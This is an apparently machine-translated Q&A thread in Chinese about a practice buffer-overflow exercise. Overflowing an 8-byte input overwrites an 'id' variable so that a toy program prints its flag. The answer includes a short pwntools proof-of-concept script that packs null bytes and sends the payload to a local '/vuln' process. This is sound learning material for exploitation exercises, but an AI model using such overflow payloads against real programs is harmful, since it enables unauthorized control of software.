作为练习的一部分,我试图通过缓冲区溢出来覆盖变量的值来开发简单程序。我很确定我已经弄清楚了漏洞利用背后的想法,但是由于我无法注入我的代码,所以我不确定。
我试图构建一个使用Pwntools的脚本,该脚本非常适合打包整数,但是我没有设法使其正常工作。我还尝试阅读有关TTY的信息,以及如何处理终端发送给流程的信息。
我正在利用的程序的简单伪代码:
returnFlag() {
print(flag)
}
main() {
char[8] = input
id = 999999
input = fgets()
if (id = 0) {
returnFlag()
}
}
我的计划是使变量输入溢出并用0覆盖id的值,以便执行函数returnFlag()。但是,当我输入例如“AAAA \ X00 \ X00 \ X00”当我看着与GDB内存我只得到胡言乱语。
这个问题使我在过去的1.5个星期内发疯,任何帮助将不胜感激。
答案 0 :(得分:0)
所以我想出了解决问题的方法。希望这也会对其他人有所帮助。
问题是我不知道如何发送“漏洞利用代码”,因为它由空值组成。幸运的是,有一个名为Pwntools link的简洁工具可以为您提供帮助。
使用该工具,您可以与程序进行交互并“打包”整数,以便发送所有必需的字节类型,包括空字节。
使用Pwntools来利用上述程序的简单POC,将其称为vuln
,看起来像是:
#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'
pl = fit({0:'1', 8:[0x00000000]})
io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))
因此,我首先导入所有库,并设置要使用context
开发的环境。然后,我使用fit
函数。它以我可以将其发送到程序的方式打包所有输入。我仍在尝试弄清fit
在幕后所做的事情。